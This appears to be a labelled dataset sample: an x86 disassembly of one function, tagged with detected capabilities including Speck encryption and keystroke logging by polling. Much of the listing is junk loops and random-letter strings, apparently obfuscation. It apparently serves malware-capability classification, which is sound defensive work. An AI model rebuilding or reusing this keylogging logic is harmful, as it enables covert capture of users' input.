Function at 0x10021da5
Capabilities:
Encrypt data using speck
Get file size
Log keystrokes via polling

Disassembly:
mov eax, 0x1005e5d9
call fcn.1005d360
sub esp, 0x508
push ebx
push esi
mov dword [ebp - 0x24], 0x134a
xor ebx, ebx
cmp dword [ebp - 0x24], 0x169d
push edi
mov dword [ebp - 0x10], esp
jle 0x10021e2f
mov esi, ebx
mov edi, ebx
mov ecx, ebx
mov dword [ebp - 0x34], ebx
mov eax, edi
cdq
idiv ecx
mov eax, esi
mov ecx, edx
sar eax, cl
lea ecx, [ebp - 0x498]
cdq
push edx
push eax
call fcn.10001ace
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10021df9
mov eax, dword [eax]
push eax
call fcn.1004699c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x498]
call fcn.10005d35
mov ecx, dword [ebp - 0x34]
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0x68a8
jl 0x10021dd6
inc edi
cmp edi, 0x4c0
jl 0x10021dd1
inc esi
cmp esi, 0x48fe
jl 0x10021dcf
mov dword [ebp - 0x70], 0x1928c176
mov dword [ebp - 0x1c], 0x566a9272
mov dword [ebp - 0x70], ebx
jmp 0x10021f2c
mov dword [ebp - 0x1c], ebx
jmp 0x10021e5b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x168], 0xffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x10021e4a
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x168], eax
test eax, eax
je 0x10021ea2
mov dword [ebp - 0x2c], 0xc662a2b3
mov dword [ebp - 0x34], 0x74006310
cmp dword [ebp - 0x2c], ebx
jne 0x10021e97
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x168]
add eax, ecx
mov ecx, dword [ebp - 0x34]
add ecx, eax
jne 0x10021e97
mov eax, ebx
jmp 0x10021e9a
xor eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x10021f29
mov dword [ebp - 0x20c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x10021f0b
mov dword [ebp - 0x18], 2
mov dword [ebp - 0x18], ebx
jmp 0x10021ef3
mov dword [ebp - 0x268], 1
mov dword [ebp - 0x228], 0xd816f93b
push 1
call fcn.1001e8bf
push ecx
push ecx
lea eax, [ebp - 0x228]
push eax
push ecx
push ecx
lea eax, [ebp - 0x268]
xor cl, cl
push eax
call fcn.1001cf17
add esp, 0x1c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10021eb9
mov byte [ebp - 0x3d], bl
cmp byte [ebp - 0x3d], 0
je 0x10021f08
push ebx
call fcn.1001e8bf
pop ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x16
jge 0x10021ead
lea eax, [ebp - 0x20c]
push eax
push 0x14d2
push ebx
lea ecx, [ebp - 0x70]
call fcn.1001ce59
add esp, 0xc
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0xe
jge 0x10021e45
cmp dword [ebp - 0x24], 0x117c
jge 0x10021f4a
push str.eabz_iagcn_lrem_zfmq_yekp_tgw_ytaoyrbd_sfzfirry_cjq_yfwwowoh_gptmq_qjfkiwnp_fvkpxq_yucqzkb
call fcn.1004699c
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x1c], 0x2baf
cmp dword [ebp - 0x1c], 0x2dd0
jle 0x10021ffb
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x38], ebx
mov ecx, esi
mov dword [ebp - 0x24], 0x17f9
mov esi, dword [ebp - 0x28]
mov dword [ebp - 0x34], ecx
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x4c8]
and eax, esi
cdq
push edx
push eax
call fcn.10001ace
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10021fa9
mov eax, dword [eax]
push eax
call fcn.1004699c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4c8]
call fcn.10005d35
mov ecx, dword [ebp - 0x34]
dec ecx
dec dword [ebp - 0x24]
mov dword [ebp - 0x34], ecx
jne 0x10021f8b
mov esi, dword [ebp - 0x38]
inc esi
mov dword [ebp - 0x38], esi
cmp esi, 0xc18
jl 0x10021f7c
inc edi
cmp edi, 0x4b7c
jl 0x10021f77
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x31f1
jl 0x10021f75
push 0x18dd
call dword [sym.imp.USER32.dll_GetKeyState]
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x1c], 0x2a07
jge 0x10022012
push str.wgxxxa_stecibx_whwske_ukskrnypr_lwuxv_bdtcczym_nmhnts_equca_jbqsgsy_yboohbp_ssmzi_rfwdn_ppdlbb_ikppcjwi
call fcn.1004699c
pop ecx
or dword [ebp - 4], 0xffffffff
xor ecx, ecx
mov dword [ebp - 0x30], 0x6a07563f
inc ecx
mov dword [ebp - 0x30], 0x7182b47
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], 0x8cae2fe8
mov dword [ebp - 0x30], 0x6986d6
mov dword [ebp - 0x224], 0x2a3062a4
mov dword [ebp - 0x30], 0x9973063d
mov dword [ebp - 0x248], 0x9eb8
mov dword [ebp - 0x1c], ebx
jmp 0x1002206d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x150], 0xe3556834
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002205c
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x10022244
mov dword [ebp - 0x28], 0x1d6a
cmp dword [ebp - 0x28], 0x2006
jle 0x100220f4
mov esi, ebx
mov dword [ebp - 0x38], ebx
mov edi, esi
mov dword [ebp - 0x24], 0x2b0b
mov dword [ebp - 0x34], edi
mov esi, edi
mov edi, 0x7bd4
mov eax, esi
lea ecx, [ebp - 0x450]
cdq
push edx
push eax
call fcn.10001ace
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100220c0
mov eax, dword [eax]
push eax
call fcn.1004699c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x450]
call fcn.10005d35
dec esi
dec edi
jne 0x100220a6
mov edi, dword [ebp - 0x34]
dec edi
dec dword [ebp - 0x24]
mov dword [ebp - 0x34], edi
jne 0x1002209f
mov esi, dword [ebp - 0x38]
inc esi
mov dword [ebp - 0x38], esi
cmp esi, 0x76f7
jl 0x10022093
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x28], 0x19b1
jge 0x1002210b
push str.llht_frejlxf_ghbtos_ofaloie_zmngfhcg_lanmlibg_brgvaukw_jssxd_hajbpdkgc_tlwh
call fcn.1004699c
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x344]
mov dword [ebp - 0x30], 0xd2e8588d
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x20], 0x631615e8
push 1
call fcn.1000580e
lea eax, [ebp - 0x344]
mov dword [ebp - 4], 6
push eax
lea eax, [ebp - 0x388]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], ebx
mov cl, 1
push eax
call fcn.100200d8
pop ecx
pop ecx
mov dword [ebp - 0x18], ebx
jmp 0x10022210
push 1
lea ecx, [ebp - 0x394]
call fcn.1000580e
mov byte [ebp - 4], 7
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0xac], ebx
jmp 0x10022194
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x3e8], 0xfffffff6
inc dword [ebp - 0xac]
cmp dword [ebp - 0xac], 1
jl 0x1002217d
push ecx
push ecx
push 1
lea edx, [ebp - 0xac]
lea ecx, [ebp - 0x394]
call fcn.1001e90b
add esp, 0xc
lea edx, [ebp - 0x248]
push ebx
push ecx
mov ecx, 0x193a
call fcn.1001f254
mov dword [ebp - 0x20], ebx
add esp, 8
cmp dword [ebp - 0x20], ebx
jl 0x100221fe
push 0x2dcc
push 0x177d
push 0x7fc
push 0x73cb
push 1
push ebx
lea edx, [ebp - 0x224]
xor cl, cl
call fcn.10021a0e
add esp, 0x18
dec dword [ebp - 0x20]
jns 0x100221d2
lea ecx, [ebp - 0x394]
mov byte [ebp - 4], 6
call fcn.1000586b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1002215d
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x150]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x150], ecx
lea ecx, [ebp - 0x344]
or dword [ebp - 4], 0xffffffff
call fcn.1000586b
dec dword [ebp - 0x1c]
jmp 0x10022075
mov eax, dword [0x1010d9c4]
xor ecx, ecx
inc ecx
test cl, al
jne 0x10022286
or eax, ecx
mov dword [0x1010d9c4], eax
mov dword [ebp - 4], 8
mov dword [0x1010d9a4], ebx
mov dword [0x1010d9a8], ebx
call fcn.10025e1e
push 0x1005f1a6
mov dword [0x1010d9a4], eax
call fcn.10046972
or dword [ebp - 4], 0xffffffff
pop ecx
xor ecx, ecx
inc ecx
mov dword [ebp - 0x270], 0xfffffff8
lea eax, [ebp - 0x270]
push ecx
mov dword [ebp - 0x30], 0x398070a
mov edx, 0x4b45
mov dword [ebp - 0x30], 0xffffffff
push eax
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x30], ecx
push ecx
mov dword [ebp - 0x30], 0xd0714ad
mov dword [ebp - 0x30], ecx
push 0x145e
push ecx
mov dword [ebp - 0x30], 4
mov ecx, 0x1a8b
mov dword [ebp - 0x30], 0xffffffff
call fcn.1001e9b2
add esp, 0x14
mov byte [ebp - 0x81], bl
lea edx, [ebp - 0x81]
mov ecx, 0x5e3b
push 0x6596
push 1
push 1
push 1
push 0x6f15
push 0x64fa
call fcn.1001ee27
add esp, 0x18
cmp byte [0x1010c526], 0
je 0x1002245f
mov dword [ebp - 0xe0], 2
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 0x16c], 0xaae4b9a7
push 4
call fcn.1000580e
push 0x143e
push 0x4dfb
lea eax, [ebp - 0xa4]
mov dword [ebp - 4], 9
push eax
push ecx
push ecx
lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x34], 4
push ebx
mov dword [ebp - 0x2c], 1
mov edx, 0x4500
mov dword [ebp - 0x30], 8
mov ecx, 0x6d13
push eax
call fcn.10020504
add esp, 0x1c
mov dword [ebp - 0xa4], ebx
jmp 0x100223a5
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x22c], 0xe97312b9
inc dword [ebp - 0xa4]
cmp dword [ebp - 0xa4], 1
jl 0x1002238e
lea eax, [ebp - 0xe0]
mov edx, 0x11bd
push eax
push 0x79d4
lea eax, [ebp - 0x1c4]
mov cl, 1
push eax
lea eax, [ebp - 0x16c]
push eax
push ebx
push 1
call fcn.10021a0e
add esp, 0x18
cmp dword [ebp - 0x34], ebx
jne 0x100223e7
cmp dword [ebp - 0xe0], ebx
je 0x100223ea
xor ebx, ebx
inc ebx
mov eax, dword [ebp - 0x1c4]
xor ecx, ecx
mov eax, dword [eax]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x34]
cmp eax, 0x7e280bfe
mov eax, dword [ebp - 0xe0]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c4]
setge cl
xor edx, edx
cmp ecx, dword [eax + 8]
mov eax, dword [ebp - 0x22c]
setg dl
xor ecx, ecx
cmp ebx, edx
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xe0]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c4]
sete cl
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x1c4]
jmp 0x10025336
mov eax, 0xbdde
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x18], 0xe56f9b2c
mov dword [ebp - 0x2c], 0x7f05f432
mov dword [ebp - 0x18], 3
cmp dword [ebp - 0x18], ebx
jl 0x10022604
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x1c], ebx
jmp 0x100224b7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x200], 9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x100224a6
mov dword [ebp - 0x24], 0x345f
cmp dword [ebp - 0x24], 0x368a
jle 0x1002253f
mov edx, ebx
mov dword [ebp - 0x1c], ebx
mov ecx, ebx
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
or eax, ecx
lea ecx, [ebp - 0x4f8]
or eax, edx
cdq
push edx
push eax
call fcn.10001ace
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100224fa
mov eax, dword [eax]
push eax
call fcn.1004699c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4f8]
call fcn.10005d35
mov ecx, dword [ebp - 0x20]
inc edi
mov edx, dword [ebp - 0x1c]
cmp edi, 0x6988
jl 0x100224db
inc esi
cmp esi, 0x615c
jl 0x100224d9
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x28bf
jl 0x100224d7
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0xa92
jl 0x100224d2
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x240], 1
jge 0x10022573
push 0x5974
lea eax, [ebp - 0x258]
mov dword [ebp - 0x258], 0x46cdead9
push eax
push 1
mov ecx, 0x753c
call fcn.1001ce59
add esp, 0xc
jmp 0x100225e4
mov dword [ebp - 0x1c], ebx
jmp 0x10022589
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3dc], 0x90a3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10022578
mov eax, dword [ebp - 0x238]
xor edx, edx
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x234]
sub ecx, eax
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp + eax*4 - 0x240]
add esi, ecx
mov ecx, dword [ebp - 0x3d4]
mov eax, dword [ebp - 0x3d4]
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, esi
setg al
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x3d4]
cmp eax, dword [ebp - 0x2c]
setle cl
dec ecx
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x24], 0x326e
jge 0x100225f8
push str.ubw_zcjswz_imako_qsbenigm_cko_cijdq_bmwuufcy_tvfgzhquf
call fcn.1004699c
pop ecx
or dword [ebp - 4], 0xffffffff
dec dword [ebp - 0x18]
jmp 0x10022491
mov dword [ebp - 0x18], 0x12
jmp 0x10022632
mov dword [ebp - 0x1c], ebx
jmp 0x10022623
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x148], 0xfb8eb5ea
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x10022612
dec dword [ebp - 0x148]
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffef
jl 0x1002260d
push 1
push 1
push ebx
push 0x1010c526
mov edx, 0x3f49
mov ecx, 0x66b9
call fcn.1001efc0
mov dword [ebp - 0x54], 0xfe0a8eac
add esp, 0x10
mov dword [ebp - 0x54], 0xffffffe5
jmp 0x1002267a
push 0x6ba4
push 0x1da5
xor cl, cl
call fcn.1001cf65
inc dword [ebp - 0x54]
pop ecx
pop ecx
cmp dword [ebp - 0x54], 0xfffffffb
jle 0x10022664
mov dword [ebp - 0x54], ebx
jmp 0x100226be
push 0x2a21
push ecx
push ecx
lea eax, [ebp - 0x208]
mov dword [ebp - 0x210], 0x6e5b
push eax
lea eax, [ebp - 0x210]
mov dword [ebp - 0x208], 0xca31
push eax
mov dl, 1
lea ecx, [ebp - 0x54]
call fcn.100204cd
add esp, 0x14
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 6
jle 0x10022685
push 0xc
pop esi
push 0xfffffffffffffff8
mov dword [ebp - 0xd4], 0x10075ae8
mov dword [ebp - 0x10c], ebx
pop edi
mov dword [ebp - 0x28], esi
cmp esi, 0xe0
jge 0x10022863
mov dword [ebp - 0x20], 0xdb3ae355
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0xffffffe2
je 0x10022823
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x2c], 0x73063d62
mov dword [ebp - 0x1c], ebx
jmp 0x10022724
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x438], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10022717
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x434], eax
mov dword [ebp - 0x34], 0x63ca
cmp dword [ebp - 0x34], 0x6799
jle 0x10022799
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
mov ecx, 0x10078bb8
cdq
push edx
push eax
call fcn.100055e4
inc esi
cmp esi, 0x2c50
jl 0x1002276e
inc edi
cmp edi, 0x406f
jl 0x1002276c
mov esi, dword [ebp - 0x28]
push 0xfffffffffffffff8
pop edi
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], ebx
jl 0x100227d0
push 0x929
push ecx
push 1
mov byte [ebp - 0x61], bl
lea edx, [ebp - 0x61]
push ecx
call fcn.1001ef72
add esp, 0xc
mov edx, 0xe3e
push ebx
push ecx
call fcn.1001f9b9
add esp, 0xc
dec dword [ebp - 0x18]
jns 0x100227a5
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x34], 0x632d
jge 0x100227ef
mov edx, str.mclxsnnu_slxlrryth_zsdp_jldhv_jhhdhyew_efsselnyv_qln_orrlgya_fmm_dgkjfke
mov ecx, 0x10078bb8
call fcn.10009472
or dword [ebp - 4], 0xffffffff
dec dword [ebp - 0x20]
jmp 0x100226fa
mov ecx, dword [ebp - 0xd4]
mov al, byte [ecx]
cmp al, byte [esi + ecx]
jne 0x10022972
push 0x6bff
push 1
call fcn.1001f90b
push 1
push 1
push 1
push 0x48ff
mov edx, 0x66cb
mov dword [ebp - 0x10c], esi
mov ecx, 0x23a5
call fcn.1001efc0
add esp, 0x18
mov dword [ebp - 0x1d8], 4
mov dword [ebp - 0x38], 0x999
cmp dword [ebp - 0x38], 0xcfb
jle 0x100228e0
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov ecx, esi
mov edi, ebx
and ecx, eax
mov dword [ebp - 0x2c], ecx
mov esi, ebx
mov dword [ebp - 0x34], 0x1bb3
mov ebx, dword [ebp - 0x2c]
mov eax, ebx
mov ecx, 0x10078bb8
xor eax, esi
cdq
push edx
push eax
call fcn.100055e4
add esi, edi
dec dword [ebp - 0x34]
jne 0x1002289c
inc edi
push 0
pop ebx
cmp edi, 0x4611
jl 0x10022890
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x267
jl 0x10022887
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x35c8
jl 0x10022882
push 0xfffffffffffffff8
pop edi
push 2
lea ecx, [ebp - 0x280]
call fcn.1000580e
push 0xe
pop esi
mov dword [ebp - 4], esi
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x38], 0x7b4
jge 0x1002290f
mov edx, str.koaqj_unejem_ykgfyw_uczozboj_prkhcowf_cgawv_ojwyt_pryulamz_hsaefo
mov ecx, 0x10078bb8
call fcn.10009472
mov dword [ebp - 4], esi
mov dword [ebp - 0x164], edi
lea eax, [ebp - 0x280]
push 0x37f5
mov dword [ebp - 0x160], edi
lea edx, [ebp - 0xb4]
mov dword [ebp - 0x15c], edi
mov cl, 1
push 1
mov dword [ebp - 0x158], edi
push eax
mov dword [ebp - 0x34], 3
mov dword [ebp - 0x3c], 0xffffffff
push 0x614b
mov dword [ebp - 0x30], 0x4c3f4f88
mov dword [ebp - 0x2c], 6
push ebx
call fcn.1001dde9
add esp, 0x14
mov dword [ebp - 0xb4], ebx
jmp 0x100229ba
inc esi
jmp 0x100226da
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0x1fc], 0xffff
inc dword [ebp - 0xb4]
cmp dword [ebp - 0xb4], 2
jl 0x100229a3
mov dword [ebp - 0x164], ebx
jmp 0x10022ac7
mov dword [ebp - 0x30], 0x8421705
lea ecx, [ebp - 0x3a8]
push 1
call fcn.1000580e
lea eax, [ebp - 0x3a8]
mov byte [ebp - 4], 0x11
push eax
push ecx
lea eax, [ebp - 0x8c]
mov edx, 0x5295
push eax
push ecx
mov cl, 1
call fcn.1001f1b8
add esp, 0x10
mov dword [ebp - 0x8c], ebx
jmp 0x10022a24
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x420], 0xc62b
inc dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], 3
jl 0x10022a0d
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x420]
sub eax, 0x7966d0e2
jne 0x10022a49
cmp dword [ebp - 0x2c], ebx
jne 0x10022a49
mov edx, ebx
jmp 0x10022a4c
xor edx, edx
inc edx
mov ecx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x280]
mov ecx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x1fc]
add ecx, 0x677b
imul eax, ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
dec dword [ebp - 0x1fc]
cmp eax, edx
jl 0x10022a7f
xor esi, esi
inc esi
jmp 0x10022a81
mov esi, ebx
mov ecx, dword [ebp - 0x164]
xor edx, edx
mov eax, dword [ebp - 0x280]
cmp dword [eax + ecx*4], esi
setge dl
sub edx, 6
neg edx
sbb edx, edx
sub esp, 0xc
inc edx
mov dword [ebp - 0x3c], edx
xor dl, dl
push 0x6792
call fcn.10020e0f
add esp, 0x10
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x3a8]
call fcn.1000586b
inc dword [ebp - 0x164]
cmp dword [ebp - 0x164], 1
jle 0x100229ce
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x280]
call fcn.1000586b
mov dword [ebp - 0xbc], 0x10075bc8
mov dword [ebp - 0x2c], 0x13b6
cmp dword [ebp - 0x2c], 0x6fe
jge 0x10022ba0
lea eax, [ebp - 0xe8]
push eax
push 0x10067224
call fcn.1004669b
jmp 0x10022b89
dec eax
mov dword [ebp - 0xe8], eax
lea eax, [ebp - 0x130]
push eax
push 0x10067224
call fcn.1004669b
cmp dword [ebp - 0x130], 0
mov eax, ebx
pop ecx
pop ecx
mov dword [ebp - 0x34], ebx
mov esi, ebx
mov dword [ebp - 0x28], eax
mov edi, ebx
jle 0x10022b7e
lea eax, [ebp - 0x218]
push eax
push 0x10067224
call fcn.1004669b
cmp dword [ebp - 0x218], 0
mov eax, dword [ebp - 0x28]
pop ecx
pop ecx
je 0x10022b72
add eax, esi
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x28], eax
mov esi, ebx
jmp 0x10022b75
add esi, dword [ebp - 0x34]
inc edi
cmp edi, dword [ebp - 0x130]
jl 0x10022b43
push eax
push str._ld_n
call fcn.1004699c
mov eax, dword [ebp - 0xe8]
pop ecx
pop ecx
test eax, eax
jne 0x10022b14
dec eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x20], 0xbe4438be
xor ecx, ecx
mov dword [ebp - 0x1c], 0xf703c576
inc ecx
mov dword [ebp - 0x28], 0x94d0e83
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x18], ebx
jmp 0x10022bd1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2e4], 5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10022bc0
mov dword [ebp - 0x18], ebx
jmp 0x10022bed
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf4], 0xfffffff6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10022bdc
mov eax, dword [ebp - 0x20]
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setg dl
sub edx, 0xfffffff6
neg edx
sbb edx, edx
inc edx
cmp edx, 0xffff
ja 0x10022c15
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jne 0x10022c1f
xor edx, edx
inc edx
jmp 0x10022c21
mov edx, ebx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
setg cl
cmp ecx, 0xe2db58e4
jae 0x10022c4a
push ecx
push 0x399c
push 0x3d9c
mov dl, 1
call fcn.1001f1fd
add esp, 0xc
jmp 0x10022c90
mov dword [ebp - 0x2c], 9
mov dword [ebp - 0x34], ebx
mov byte [ebp - 0x3d], bl
cmp byte [ebp - 0x3d], 0
je 0x10022c6b
push ebx
push ecx
mov edx, 0x7ca4
call fcn.10020e5b
pop ecx
pop ecx
mov edx, dword [ebp - 0x2c]
neg edx
sbb edx, edx
neg edx
cmp dword [ebp - 0x20], ebx
jne 0x10022c7d
mov eax, ebx
jmp 0x10022c80
xor eax, eax
inc eax
mov dword [ebp - 0x34], eax
xor ecx, ecx
mov eax, dword [ebp - 0x34]
cmp edx, eax
setge cl
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x28], 0xffffffff
push 1
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 0x72920796
mov eax, dword [ebp - 0x34]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setne dl
xor ecx, ecx
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
sub edx, 0x24a5d932
cmp eax, edx
mov edx, 0x6e44
setge cl
mov dword [ebp - 0x2e4], ecx
push ecx
mov dword [ebp - 0xf4], 0xac06e326
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x576660b2
call fcn.1001f254
add esp, 8
mov dword [ebp - 0x5c], 0xffffffe3
push 0xa
pop esi
jmp 0x10022d72
push 2
lea ecx, [ebp - 0x314]
call fcn.1000580e
lea eax, [ebp - 0x3c0]
mov dword [ebp - 4], 0x12
push eax
lea eax, [ebp - 0x314]
mov cl, 1
push eax
call fcn.1001cf65
pop ecx
pop ecx
cmp dword [ebp - 0xf4], ebx
jne 0x10022d43
mov eax, dword [ebp - 0x2e4]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x314]
or dword [ebp - 4], 0xffffffff
mov dword [eax], ecx
lea ecx, [ebp - 0x314]
call fcn.1000586b
inc dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], esi
jl 0x10022d0a
mov al, byte [0x10075bc8]
xor edx, edx
mov byte [ebp - 0x49], al
mov dword [ebp - 0x20], 0x937d
mov dword [ebp - 0x18], 0x434678dc
mov dword [ebp - 0x3c], 0xc5c2
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
sub eax, 0x8b6b
neg eax
sbb eax, eax
inc eax
add eax, esi
cmp edx, eax
je 0x10022df5
cmp dword [ebp - 0x20], ebx
je 0x10022df5
mov dword [ebp - 0x18], 0xfffffff3
jmp 0x10022dea
lea eax, [ebp - 0x63]
mov byte [ebp - 0x63], bl
push eax
push ecx
push ecx
mov dl, 1
call fcn.10021296
add esp, 0xc
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffeb
jg 0x10022dd4
jmp 0x10022ec6
xor ecx, ecx
mov dword [ebp - 0x1c], ebx
inc ecx
jmp 0x10022e0a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x94], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10022dfd
mov dword [ebp - 0x20], ebx
jmp 0x10022e48
push 0x4e2d
push ebx
push ecx
mov byte [ebp - 0x6b], bl
lea ecx, [ebp - 0x6b]
mov edx, 0x24c2
call fcn.10021366
add esp, 0xc
mov byte [ebp - 0x65], bl
lea eax, [ebp - 0x65]
push 0x7087
push 1
push eax
push ecx
call fcn.100207ea
add esp, 0x10
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x39
